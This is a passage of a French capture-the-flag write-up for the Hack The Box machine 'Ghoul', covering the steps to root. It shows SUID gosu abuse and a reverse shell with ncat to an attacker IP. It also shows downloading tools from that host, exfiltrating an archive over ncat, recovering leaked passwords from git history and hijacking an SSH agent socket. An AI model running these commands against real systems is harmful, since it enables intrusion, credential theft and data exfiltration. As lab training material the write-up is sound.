-rw-------    1 git      git           23 Dec 13  2018 environment
pwd
/data/git/.ssh
ssh -L 127.0.0.1:3001:172.18.0.2:22 -p 2222 -i kaneki kaneki_pub@127.0.0.1

Connectons nous :

root@htb:~/htb/write-up/ghoul# ssh -i id_rsa git@localhost -p 3001
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

3713ea5e4353:~$

Nous voila dans de meilleurs conditions pour travailler. Téléchargeons linenum et lançons le :

3713ea5e4353:~$ cd /tmp                                               
3713ea5e4353:/tmp$ wget http://10.10.14.23:8000/linenum.sh                                                                                   
Connecting to 10.10.14.23:8000 (10.10.14.23:8000)                     
linenum.sh           100% |********************************************************************************************| 45656   0:00:00 ETA
3713ea5e4353:/tmp$ chmod +x linenum.sh                                
3713ea5e4353:/tmp$ sh linenum.sh                                                                                                             
                                                                                                                                             
#########################################################                                                                                    
# Local Linux Enumeration & Privilege Escalation Script #                                                                                    
#########################################################
[..]
[-] SUID files:                                                                                                                              
-rwsr-xr-x    1 root     root         47376 May 19  2018 /usr/bin/passwd                                                                     
-rwsr-xr-x    1 root     root         55200 May 19  2018 /usr/bin/gpasswd                                                                    
-rwsr-xr-x    1 root     root         55408 May 19  2018 /usr/bin/chage                                                                      
-rwsr-xr-x    1 root     root         41848 May 19  2018 /usr/bin/chfn                                                                       
-rwsr-xr-x    1 root     root         32256 May 19  2018 /usr/bin/chsh                                                                       
-rwsr-xr-x    1 root     root         32088 May 19  2018 /usr/bin/newgrp             
-rwsr-xr-x    1 root     root         18608 May 19  2018 /usr/bin/expiry                                                                     
-rws--x--x    1 root     root       1286720 May 24  2017 /usr/sbin/gosu                                                                      
-rwsr-xr-x    1 root     root         36560 May 19  2018 /bin/su
[...]

Nous remarquons un binaire « gosu » inhabituel ayant le bit SUID d’activé. Essayons de le lancer pour voir ce que cela donne :

3713ea5e4353:/tmp$ gosu
Usage: gosu user-spec command [args]
   ie: gosu tianon bash
       gosu nobody:root bash -c 'whoami && id'
       gosu 1000:1 id

gosu version: 1.10 (go1.7.1 on linux/amd64; gc)
     license: GPL-3 (full text at https://github.com/tianon/gosu)

3713ea5e4353:/tmp$

3713ea5e4353:/tmp$ gosu root bash -c 'whoami && id'
root
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
3713ea5e4353:/tmp$

Nous pouvons donc lancer des commandes sous root. Lançons un listener sur notre machine et tentons un reverse shell :

gosu root bash -c '/tmp/ncat 10.10.14.23 666 -e /bin/bash'
root@htb:~# nc -lvnp 666
listening on [any] 666 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.101] 48686
whoami 
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Nous avons un shell root !

cd /root
ls
aogiri-app.7z
session.sh
ls -alh
total 128
drwx------    1 root     root        4.0K Dec 29  2018 .
drwxr-xr-x    1 root     root        4.0K Dec 13  2018 ..
lrwxrwxrwx    1 root     root           9 Dec 29  2018 .ash_history -> /dev/null
lrwxrwxrwx    1 root     root           9 Dec 29  2018 .bash_history -> /dev/null
-rw-r--r--    1 root     root      114.8K Dec 29  2018 aogiri-app.7z
-rwxr-xr-x    1 root     root         179 Dec 16  2018 session.sh

Nous découvrons dans le répertoire root deux fichiers. Nous allons télécharger le fichier 7z sur notre machine avec ncat.

/tmp/ncat -w 3 10.10.14.23 667 < /root/aogiri-app.7z

Sur notre machine :

nc -l -p 667 > aogiri-app.7z

Une fois décompressé nous obtenons la liste des fichiers suivant :

root@htb:~/htb/write-up/ghoul/aogiri-app/aogiri-chatapp# ls -alh
total 52K
drwxr-xr-x 5 root root 4.0K Dec 29  2018 .
drwxr-xr-x 3 root root 4.0K Oct  4 11:00 ..
drwxr-xr-x 8 root root 4.0K Dec 29  2018 .git
-rw-r--r-- 1 root root  268 Dec 29  2018 .gitignore
drwxr-xr-x 3 root root 4.0K Dec 29  2018 .mvn
-rwxr-xr-x 1 root root 8.9K Dec 29  2018 mvnw
-rw-r--r-- 1 root root 5.7K Dec 29  2018 mvnw.cmd
-rw-r--r-- 1 root root 2.1K Dec 29  2018 pom.xml
-rw-r--r-- 1 root root  124 Dec 29  2018 README.md
drwxr-xr-x 4 root root 4.0K Dec 29  2018 src

Après un petit tour dans le fichier nous pouvons trouver le mot de passe suivant :

+spring.datasource.username=kaneki
+spring.datasource.password=jT7Hr$.[nF.)c)4C

Ces identifiants ne serviront à rien. Par contre nous pouvons voir que nous avons un dossier .git. Nous allons donc pouvoir chercher avec git pour trouver les anciennes version des fichiers.

root@htb:~/htb/write-up/ghoul/aogiri-app/aogiri-chatapp# git reflog
647c5f1 (HEAD -> master, origin/master) HEAD@{0}: commit: changed service
b43757d HEAD@{1}: commit: added mysql deps
b3752e0 HEAD@{2}: reset: moving to b3752e0
0d426b5 HEAD@{3}: reset: moving to 0d426b5
e29ad43 HEAD@{4}: reset: moving to HEAD^
0d426b5 HEAD@{5}: reset: moving to HEAD
0d426b5 HEAD@{6}: reset: moving to origin/master
0d426b5 HEAD@{7}: commit: update dependencies
e29ad43 HEAD@{8}: commit: added service
b3752e0 HEAD@{9}: commit: noro stop doing stupid shit
813e0a5 HEAD@{10}: commit: hello world!
ed5a88c HEAD@{11}: commit: mysql support
51d2c36 HEAD@{12}: commit: added readme
bec96aa HEAD@{13}: commit: updated dependencies
8b74520 HEAD@{14}: commit (initial): update readme

root@htb:~/htb/write-up/ghoul/aogiri-app/aogiri-chatapp# git reset --hard 0d426b5
HEAD is now at 0d426b5 update dependencies
root@htb:~/htb/write-up/ghoul/aogiri-app/aogiri-chatapp# git reset --hard e29ad43
HEAD is now at e29ad43 added service
root@htb:~/htb/write-up/ghoul/aogiri-app/aogiri-chatapp#

On remontant ces anciennes version nous trouvons deux nouveaux mot de passe dans le fichier « application.properties« .

spring.datasource.username=kaneki
spring.datasource.password=7^Grc%C\7xEQ?tb4

et

spring.datasource.username=root
spring.datasource.password=g_xEN$ZuWD7hJf2G

Nous allons alors essayer ces mots de passe pour l’utilisateur kaneki_adm et l’utilisateur root de kaneki_pc.

Revenons alors sur la machine kaneki_pc (172.20.0.150) et essayons de se connecter avec l’utilisateur root et le mot de passe 7^Grc%C\7xEQ?tb4

kaneki_pub@kaneki-pc:/home$ su root
Password: 
root@kaneki-pc:/home#

Regardons le fichier root.txt se trouvant dans /root :

root@kaneki-pc:~# cat root.txt
You've done well to come upto here human. But what you seek doesn't lie here. The journey isn't over yet.....
root@kaneki-pc:~# 

Nous devons encore chercher… Téléchargeons pspy64 et regardons un peu tout ce qui se passe :

root@kaneki-pc:/tmp# wget http://10.10.14.23:8000/pspy64
--2019-10-05 14:12:43--  http://10.10.14.23:8000/pspy64
Connecting to 10.10.14.23:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                              100%[================================================================>]   2.94M   326KB/s    in 9.2s    

2019-10-05 14:12:53 (326 KB/s) - ‘pspy64’ saved [3078592/3078592]

root@kaneki-pc:/tmp# chmod +x pspy64 
root@kaneki-pc:/tmp# ./pspy64 -f

Nous remarquons alors une connexion ssh vers un autre container. Nous remarquons aussi les fichiers des agents SSH se générant dans le dossier tmp. Nous allons alors réaliser un SSH Hijacking. Pour se faire il nous suffit de surveiller la création des fichiers dans /tmp/ssh_[…] et de lancer la commande suivante :

root@kaneki-pc:/tmp# SSH_AUTH_SOCK=/tmp/ssh-nyia3rgoK3/agent.1183 ssh root@172.18.0.1 -p 2222
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

155 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sat Oct  5 07:30:01 2019 from 172.18.0.200
root@Aogiri:~# 

Nous sommes alors root sur la machine, il nous suffit de lire le fichier :

root@Aogiri:~# ls
log.sh  root.txt
root@Aogiri:~# cat root.txt
7c0.......

Ghoul était une machine particulièrement intéressante, demandant beaucoup d’énumération. Ici, c’est bien sûr la version raccourcie et directe vers root. Cependant pendant le pentest nous pouvions trouver beaucoup de fichiers plus ou moins utiles nous mettant ou non sur la bonne piste. A nous de faire attention et tenter le maximum de chose avec des informations récupérés un peu partout. Il était important de ne négliger aucune information et de ne pas être faignant dans la recherche d’information.

Les commentaires sont clos.